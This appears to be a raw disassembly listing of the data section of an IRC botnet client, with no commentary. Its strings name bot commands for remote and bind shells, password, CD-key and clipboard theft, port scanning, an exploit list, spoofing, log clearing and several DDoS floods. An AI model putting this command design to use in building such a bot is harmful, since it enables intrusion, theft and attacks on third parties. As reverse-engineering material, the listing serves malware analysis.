					; DATA XREF: sub_401ACD+295Bo
		dd 65726874h, 2E736461h, 0
dword_42C144	dd 627573h		; DATA XREF: sub_401ACD+2935o
dword_42C148	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_401ACD+28E3o
		dd 2E7473h
unk_42C160	db  2Dh	; -		; DATA XREF: sub_401ACD+28C8o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_23	db '- Failed to start listing thread, error: <%d>.',0
dword_42C198	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2859o
		dd 2E676Fh
dword_42C1B0	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401ACD+27B4o
		dd 6F666E49h, 2Eh
dword_42C1CC	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401ACD+2785o
		dd 2E6F666Eh, 0
dword_42C1E8	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401ACD+2730o
		dd 746F4220h, 2Eh
unk_42C204	db  2Dh	; -		; DATA XREF: sub_401ACD+2714o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start listing thread, error: <%d>.',0
		align 10h
dword_42C240	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+269Fo
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+267Fo
		align 4
unk_42C264	db  2Dh	; -		; DATA XREF: sub_401ACD+261Do
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
dword_42C284	dd 234032Dh, 656B6463h,	3027379h ; DATA	XREF: sub_401ACD+25FAo
aSearchComplete	db '- Search completed.',0
dword_42C2A4	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: sub_401ACD+25AEo
		dd 2E7325h
unk_42C2BC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403FEBo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42C2DC	db  2Dh	; -		; DATA XREF: sub_401ACD+2514o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_42C304	db  2Dh	; -		; DATA XREF: sub_401ACD+24F5o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 10h
dword_42C330	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401ACD+24DFo
		dd 72616F62h, 2E64h
dword_42C34C	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+24B1o
		dd 2Dh
unk_42C364	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F6Eo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 10h
unk_42C390	db  2Dh	; -		; DATA XREF: sub_401ACD+249Ao
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42C3B4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F43o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 10h
unk_42C3E0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F3Co
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42C40C	db  2Dh	; -		; DATA XREF: sub_401ACD+2468o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 10h
unk_42C430	db  2Dh	; -		; DATA XREF: sub_401ACD+2415o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_25	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42C46C	db  2Dh	; -		; DATA XREF: sub_401ACD+23A6o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42C4A8	db  2Dh	; -		; DATA XREF: sub_401ACD+22C0o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_26	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C4E4	db  2Dh	; -		; DATA XREF: sub_401ACD+2255o
					; sub_40BACE+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C520	db  2Dh	; -		; DATA XREF: sub_401ACD+214Eo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_27	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C55C	db  2Dh	; -		; DATA XREF: sub_401ACD+20DFo
					; sub_40BACE+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 10h
unk_42C590	db  2Dh	; -		; DATA XREF: sub_401ACD+202Ao
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_4	db ' Already running.',0
		align 10h
unk_42C5B0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403AE1o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_28	db '- Failed to start scan, port is invalid.',0
		align 4
unk_42C5E8	db  2Dh	; -		; DATA XREF: sub_401ACD+1FC4o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_29	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42C624	db  2Dh	; -		; DATA XREF: sub_401ACD+1F53o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanSta_0	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 10h
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1F28o
					; sub_401ACD+5BEFo
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1F21o
					; sub_401ACD+5BE8o
		align 4
unk_42C6A4	db  2Dh	; -		; DATA XREF: sub_401ACD+1D6Eo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScan_0	db '- Already %d scanning threads. Too many specified.',0
unk_42C6E4	db  2Dh	; -		; DATA XREF: sub_401ACD+1D10o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_30	db 'Failed to start search thread, error: <%d>.',0
unk_42C720	db  2Dh	; -		; DATA XREF: sub_401ACD+1C96o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1C4Do
		align 4
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1C3Co
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C29o
		align 4
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1C12o
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+1BE8o
dword_42C78C	dd 234032Dh, 6E69616Dh,	202D0302h, 73617243h, 676E6968h
					; DATA XREF: sub_401ACD+1B98o
		dd 746F6220h, 2Eh
aCrash		db 'crash',0            ; DATA XREF: sub_401ACD+1B82o
					; sub_401ACD+1BD2o
		align 10h
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B6Do
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1B58o
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1B43o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1B2Eo
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1B19o
		align 10h
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1B04o
		align 10h
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1AEFo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1ADAo
		align 10h
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1AC5o
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1AB0o
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A9Bo
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A86o
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A71o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+1A5Co
unk_42C834	db  2Dh	; -		; DATA XREF: sub_401ACD+1A1Eo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+1A03o
					; sub_401ACD+3CB0o ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+19ECo
		align 4
unk_42C868	db  2Dh	; -		; DATA XREF: sub_401ACD+19CEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1996o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_403454o
dword_42C89C	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+195Co
dword_42C8B0	dd 6F6877h		; DATA XREF: sub_401ACD+193Fo
dword_42C8B4	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1934o
dword_42C8C0	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+192Fo
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+1916o
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+1901o
		align 10h
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+18ECo
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+18D7o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+18C2o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+18ADo
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+1898o
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1883o
		align 4
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+186Eo
		align 4
aKey		db 'key',0              ; DATA XREF: sub_401ACD+1859o
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401ACD+1844o
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+182Fo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+181Ao
		align 10h
aLsp100		db 'lsp100',0           ; DATA XREF: sub_401ACD+17F0o
					; sub_401ACD+1805o
		align 4
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17DBo
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+17C6o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+17B1o
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+179Co
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1787o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1772o
		align 10h
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+175Do
		align 4
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1748o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1733o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+171Eo
aT:					; DATA XREF: sub_401ACD+1709o
					; ___:004382F8o ...
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16F4o
unk_42C980	db  2Dh	; -		; DATA XREF: sub_401ACD+16C0o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 4
unk_42C9A8	db  2Dh	; -		; DATA XREF: sub_401ACD+16B9o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 4
aReboot		db 'reboot',0           ; DATA XREF: sub_401ACD+16A2o
		align 10h
aI:					; DATA XREF: sub_401ACD+168Do
					; ___:00438304o ...
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1678o
		align 4
aS_0:					; DATA XREF: sub_401ACD+1663o
					; ___:00438310o ...
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+164Eo
		align 4
aQ:					; DATA XREF: sub_401ACD+1639o
					; ___:off_4382E8o ...
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+1624o
		align 10h
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+160Fo
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15FAo
		align 10h
aR:					; DATA XREF: sub_401ACD+15E5o
					; sub_401ACD+3DA9o ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15D0o
		align 10h
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+15BBo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+15A6o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1591o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Co
		align 10h
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1567o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1552o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+153Do
		align 10h
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+1528o
		align 4
dword_42CA6C	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_401ACD+151Do
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+1518o
		align 10h
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14FFo
		align 4
dword_42CA8C	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14F4o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14EFo
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14D6o
		align 10h
dword_42CAB0	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+14CBo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+14C6o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+14ADo
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1498o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1483o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+146Eo
		align 10h
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1459o
		align 10h
dword_42CB00	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+144Eo
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+1430o
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+1407o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13DEo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+13B5o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+138Co
unk_42CB48	db  2Dh	; -		; DATA XREF: sub_401ACD+1372o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42CB7C	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1337o
					; sub_401ACD+13D3o
dword_42CB8C	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1332o
					; sub_401ACD+13CEo
dword_42CB9C	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+1319o
					; sub_401ACD+13AAo
dword_42CBAC	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+1314o
					; sub_401ACD+13A5o
dword_42CBBC	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+12B9o
					; sub_401ACD+1425o
dword_42CBC8	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B4o
					; sub_401ACD+1420o
dword_42CBD4	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Bo
					; sub_401ACD+13FCo
dword_42CBE0	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1296o
					; sub_401ACD+13F7o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1236o
		align 4
dword_42CBF8	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+122Bo
					; sub_401ACD+12F8o
dword_42CC04	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1226o
					; sub_401ACD+12F3o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+120Do
		align 4
dword_42CC1C	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+1202o
					; sub_401ACD+12DAo
dword_42CC2C	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11FDo
					; sub_401ACD+12D5o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11E4o
		align 4
dword_42CC48	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11D9o
					; sub_401ACD+1358o
dword_42CC58	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11D4o
					; sub_401ACD+1353o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+11BBo
		align 4
dword_42CC74	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11B0o
					; sub_401ACD+127Ao
dword_42CC80	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11ABo
					; sub_401ACD+1275o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1192o
dword_42CC94	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1187o
					; sub_401ACD+125Co
dword_42CCA0	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1182o
					; sub_401ACD+1257o
dword_42CCAC	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1169o
dword_42CCB8	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+115Eo
dword_42CCC8	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1159o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+1140o
		align 4
dword_42CCE8	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1135o
dword_42CCF4	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+1130o
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+1117o
dword_42CD08	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+110Co
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10EEo
		align 4
dword_42CD24	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10E3o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+10C5o
		align 10h
dword_42CD40	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+10BDo
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+109Fo
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401ACD+108Ao
		align 10h
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1075o
		align 4
dword_42CD68	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1053o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+104Eo
					; sub_401ACD+10B8o ...
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1035o
		align 4
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+1020o
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+100Bo
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FF6o
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FE1o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FCCo
					; sub_401ACD+2D6Ao
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+FB7o
					; sub_401ACD+2D59o
		align 4
aSt		db 'st',0               ; DATA XREF: sub_401ACD+FA2o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F8Do
		align 4
aDed		db 'ded',0              ; DATA XREF: sub_401ACD+F78o
aDedication	db 'dedication',0       ; DATA XREF: sub_401ACD+F63o
		align 4
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F4Eo
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F39o
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F24o
		align 4
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+F0Fo
		align 4
aD:					; DATA XREF: sub_401ACD+EFAo
					; ___:00438314o ...
		unicode	0, <d>,0
aDie		db 'die',0              ; DATA XREF: sub_401ACD+EE5o
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+ED0o
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+EB8o
a63		db '63',0               ; DATA XREF: sub_401ACD+D85o
		align 4
asc_42CE14:				; DATA XREF: sub_401ACD+D5Do
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D20o
		align 10h
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+D15o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+D04o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CE8o
		align 4
aUser_0		db '$user',0            ; DATA XREF: sub_401ACD+CD7o
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CC5o
aD_0		db '$%d',0              ; DATA XREF: sub_401ACD+C57o
aD_1		db '$%d-',0             ; DATA XREF: sub_401ACD+B93o
		align 4
asc_42CE54:				; DATA XREF: sub_401ACD+ABBo
					; ___:0043832Co ...
		unicode	0, <l>,0
unk_42CE58	db  2Dh	; -		; DATA XREF: sub_401ACD+A80o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
unk_42CE8C	db  2Dh	; -		; DATA XREF: sub_401ACD+A6Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_42CEBC	db  2Dh	; -		; DATA XREF: sub_401ACD+A5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_31	db '- Failed to start chat thread, error: <%d>.',0
		align 4
unk_42CEF4	db  2Dh	; -		; DATA XREF: sub_401ACD+9EFo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+958o
		align 4
unk_42CF1C	db  2Dh	; -		; DATA XREF: sub_401ACD+938o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 10h
unk_42CF60	db  2Dh	; -		; DATA XREF: sub_401ACD+920o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_32	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42CF9C	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+90Fo
		dd 0A0Dh
dword_42CFB4	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8DBo
dword_42CFBC	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8D0o
		dd 0D017325h, 0Ah
dword_42CFD8	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+89Fo
dword_42CFE4	dd 23h			; DATA XREF: sub_401ACD+816o
					; sub_40CA80+1Bo
unk_42CFE8	db  2Dh	; -		; DATA XREF: sub_401ACD+785o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_401ACD+706o
					; sub_401ACD+995o ...
		align 4
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6DFo
		align 4
dword_42D024	dd 43434401h, 0		; DATA XREF: sub_401ACD+6C1o
dword_42D02C	dd 323333h		; DATA XREF: sub_401ACD+64Bo
					; sub_401ACD+ADDo ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+629o
					; sub_409A73+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+61Do
					; sub_409A73+16o
unk_42D040	db  2Dh	; -		; DATA XREF: sub_401ACD+5CCo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User: %s logged out.',0
		align 4
unk_42D064	db  2Dh	; -		; DATA XREF: sub_401ACD+5A5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: %s.',0
a353		db '353',0              ; DATA XREF: sub_401ACD+574o
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+537o
		align 10h
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+526o
					; sub_401ACD+5E9o
		align 4
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4FEo
		align 10h
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3D0o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+60Do
unk_42D0B8	db  2Dh	; -		; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2EBDo ...
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User %s logged out.',0
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 10h
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7C8Fo ...
		align 4
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
